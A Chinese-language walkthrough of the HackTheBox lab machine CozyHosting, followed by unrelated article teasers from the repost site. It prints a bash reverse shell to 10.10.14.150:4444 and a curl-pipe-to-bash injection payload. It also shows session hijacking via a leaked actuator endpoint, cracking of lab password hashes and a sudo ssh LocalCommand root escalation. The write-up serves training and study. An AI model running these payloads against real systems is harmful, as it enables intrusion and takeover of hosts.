HackTheBox-Machines--CozyHosting

文章目录

  • 1 端口扫描
  • 2 测试思路
  • 3 访问web站点
  • 4 横向移动
  • 5 权限提升


CozyHosting 测试过程


1 端口扫描


nmap -sC -sV 10.129.229.88

在这里插入图片描述


2 测试思路


目标开启了80和22端口,所以出发点从80端口开始。

  1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
  2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。

echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts

3 访问web站点


在这里插入图片描述

  1.在web站点中发现一个登录页面,爆破未成功,进行其他尝试

在这里插入图片描述

  2.使用gobuster进行目录爆破

在这里插入图片描述

  发现Whitelabel Error Page 页面,为springboot的报错页面

在这里插入图片描述

在这里插入图片描述

  3.尝试使用springboot的字典对网站进行爆破

./gobuster dir -u http://cozyhosting.htb/ -w spring-boot.txt

在这里插入图片描述

  扫描到的目录暴露了执行器端点,在http://cozyhosting.htb/actuator/sessions,可以看到kanderson的会话标识符

在这里插入图片描述

  4.通过kanderson的会话标识符进行登录,替换JESSIONID的值,回车登录

在这里插入图片描述

  5.在页面底部,发现表单,输入数据观察响应包发现命令注入,使用sh命令反弹shell

在这里插入图片描述

在这里插入图片描述

  echo 命令写入 shell.sh 文件

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.150/4444 0>&1' > shell.sh
# 本地开启http server
python3 -m http.server 8000
# 开启监听
ncat -lnvp 4444
# 执行;${IFS}定界符在bash和sh等shell中,默认为空格。
test;curl${IFS}http://10.10.14.150:8000/shell.sh|bash;

在这里插入图片描述

在这里插入图片描述

# 创建稳定pty
script /dev/null -c bash

4 横向移动


  1.发现cloudhosting-0.0.1.jar文件,并对其进行解压
在这里插入图片描述

  在/BOOT-INF/classes/application.properties文件中发现postgresql数据库的密码

在这里插入图片描述

  2.postgresql数据库中信息收集,使用Vg&nvzAQ7XxR连接postgresql

# 使用Vg&nvzAQ7XxR连接postgresql
psql -h 127.0.0.1 -U postgres

在这里插入图片描述

# 列出数据库,发现cozyhosting、postgres、template0等数据库
\list

在这里插入图片描述

# 连接数据库
\connect cozyhosting
# 列出数据库中的表,发现users表
\dt

在这里插入图片描述

# 列出users表中的数据,发现admin及其hash密码
select * from users;

在这里插入图片描述

  3.破解hash密码

# 识别hash算法
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
# 将hash值写入文件
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash
# 破解hash
hashcat hash -m 3200 rockyou.txt  

在这里插入图片描述

  4.使用ssh连接,josh:manchesterunited

# 查看passwd文件发现用户:josh
cat /etc/passwd

在这里插入图片描述

ssh josh@10.129.229.88

在这里插入图片描述

在这里插入图片描述

5 权限提升


# 显示权限
sudo -l 

   1.执行权限发现User josh may run the following commands on localhost: (root) /usr/bin/ssh *,可以以root权限运行/usr/bin/root。

在这里插入图片描述

   2.ssh中存在-o选项,通过指定PermitLocalCommand=yes,在ssh连接成功后,可以在客户端机器执行本地命令

sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802516.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS层叠样式表学习(基础选择器)

(大家好,今天我们将继续来学习CSS(2)的相关知识,大家可以在评论区进行互动答疑哦~加油!💕) 目录 二、CSS基础选择器 2.1 CSS选择器的作用 2.2 选择器分类 2.3 标签选择器 2.…

Swift 异步序列 AsyncStream 新“玩法”以及内存泄漏、死循环那些事儿(上)

概览 异步序列(Async Sequence)是 Swift 5.5 新并发模型中的一员“悍将”,系统标准库中很多类都做了重构以支持异步序列。我们还可以用 AsyncStream 辅助结构非常方便的创建自己的异步序列。 这里我们就来一起聊聊 AsyncStream 结构&#xf…

win10下使用qemu安装aarch64架构的iso镜像虚拟机

1、win下安装qemu 最新版 可在如下链接进行下载安装 QEMU for Windows – Installers (64 bit) 2、准备aarch64的iso镜像 我这里使用的是 Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso 3、使用如下命令启动虚拟机安装 打开powershell cd C:\Program Files\…

B02、关于垃圾回收器-6.2

1、关于 GC 的分类 1.1、串行 VS 并行 按线程数分,可以分为串行垃圾回收器和并行垃圾回收器。 串行回收指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作,此时工作线程被暂停,直至垃圾收集工作结束。 在诸如单CPU处理器或者较小的应…

【Leetcode】2009. 使数组连续的最少操作数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接🔗 给你一个整数数组 n u m s nums nums 。每一次操作中,你可以将 n u m s nums nums 中 任意 一个元素替换成 任意 整数。 如果 n u m s nums nums 满足以下条件&…

记一次项目上某系统web渗透测试

第一个信息泄露漏洞 首先在登录页忘记密码处点击查询获取用户进行抓包可以获得用户的token固定id值 第二个用户名枚举漏洞 接下来就是批量遍历出存在数据库用户id值以及用户名,方便后面其他测试使用。 第三弱口令漏洞 这里对于爆破没有限制,因此根据获…

从零开始,教你如何用Java生成微信小程序二维码

Hello大家好我是咕噜铁蛋!你是否曾为生成二维码而烦恼过?别担心,今天我就来给你支招!,我将分享如何使用Java生成微信小程序二维码的方法,让你轻松应对二维码生成的需求。微信小程序是一种轻量级的应用程序&…

Splunk Attack Range:一款针对Splunk安全的模拟测试环境创建工具

关于Splunk Attack Range Splunk Attack Range是一款针对Splunk安全的模拟测试环境创建工具,该工具完全开源,目前由Splunk威胁研究团队负责维护。 该工具能够帮助广大研究人员构建模拟攻击测试所用的本地或云端环境,并将数据转发至Splunk实例…

nginx到底是怎么工作的

工作流程 用户通过域名发出访问Web服务器的请求,该域名被DNS服务器解析为反向代理服务器的IP地址反向代理服务器接受用户的请求反向代理服务器在本地缓存中查找请求的内容,找到后直接把内容发送给用户如果本地缓存里没有用户所请求的信息内容&#xff0…

【攻防世界】题目名称-文件包含

看到 include(),想到文件包含,用php伪协议。 知识点 看到 include(),require(),include_once(),require_once() ,想到文件包含,用php伪协议 ?filenamephp://filter/readconvert.base64-encode/…

铁山靠之数学建模-基础篇

小黑子的数模基础篇 一、什么是数学建模1.1 数学模型分类1.2 备战准备什么1.3 组队学习路线1.4 赛前准备1.5 赛题选择1.5.1 赛题类型1.5.2 ABC赛题建议 1.6 学会查询1.6.1 百度搜索技巧1.6.2 查文献1.6.3 数据预处理 1.7 建模全过程 二、数模论文2.1 论文排版2.2 标题怎么写2.3…

看linux内核启动流程需要的arm汇编学习笔记(二)

文章目录 一、ldr1.地址偏移模式2.变基模式3.标签3.1 访问宏定义3.2 访问一个字符串3.3 访问一个data 二、ldp和stp1.双字节加载2.双字节存储3.双字节存储的后变基模式 三、位操作1. 移位2. 按位操作3. 位段插入4.位段提取5.零计数指令 四、跳转指令1. cmp比较两个数2. cmn负向…

SpringCloud学习(13)-SpringCloudAlibaba-Seata

一、介绍: Seata是阿里巴巴旗下的产品,是一款开源的分布式事务解决方案,旨在解决分布式事务问题。 我们有必要先了解一下分布式事务: 在微服务体系中,每一个模块都有连接一个数据库,这一点与单体项目是不…

10-热点文章-定时计算

xxl-Job分布式任务调度 1 今日内容 1.1 需求分析 目前实现的思路:从数据库直接按照发布时间倒序查询 问题1: 如何访问量较大,直接查询数据库,压力较大 问题2: 新发布的文章会展示在前面,并不是热点文章 …

算法打卡26

今日任务: 1)332.重新安排行程 2)51.N皇后 3)37.解数独 332.重新安排行程 题目链接:332. 重新安排行程 - 力扣(LeetCode) 给定一个机票的字符串二维数组 [from, to],子数组中的两个…

菜狗学前端之JS高级笔记

老样子。复制上来的图片都没了,想看原版可以移步对应资源下载(资源刚上传,还在审核中) (免费) JS高级笔记https://download.csdn.net/download/m0_58355897/89102910 一些前提概念 一 什么是js高级 js高级是对js基础语法的一个补充说明,本质…

高效稳定转换!PW2205芯片轻松实现12V/24V转5V/3.3V 5A输出

在电子设备蓬勃发展的今天,高效稳定的电源转换技术成为了推动行业进步的关键。PW2205平芯微芯片推出的高效同步降压DC-DC转换器,以其出色的性能和广泛的应用领域,成为了市场上的热门选择。 PW2205转换器凭借其卓越的性能,为各类电…

AI智能滤镜解决方案,全新的视觉创作体验

一张精美的图片,一段引人入胜的视频,往往能够瞬间抓住观众的眼球,为企业带来不可估量的商业价值。然而,如何快速、高效地制作出高质量的视觉内容,一直是困扰众多企业的难题。美摄科技凭借其领先的AI智能滤镜解决方案&a…

电脑实时监控软件分享|五个好用的实时屏幕监控软件

电脑实时监控软件是一种专门设计用于实时监控和记录电脑用户操作行为、系统状态以及网络活动的软件工具。 这类软件主要服务于企业、教育机构、家庭或个人用户,用于确保网络安全、提升工作效率、监督员工行为、保护儿童在线安全、防止数据泄露等多种目的。 针对企业…

面试(01)————JVM篇,最大白话的一集,常见概念的讲解以及GC监控调优等等

一、JDK体系结构图 二、JVM整体架构 三、JVM组成 3.1、JVM内存区域的执行底层原理 ​编辑 3.1.1、程序计数器 3.1.2、堆栈关系的发现 3.1.3、方法去和堆的关系 3.1.4、堆(重点) 3.1.4.1、可达性分析算法 3.1、内存泄漏测试以及堆区的GC监控 3.…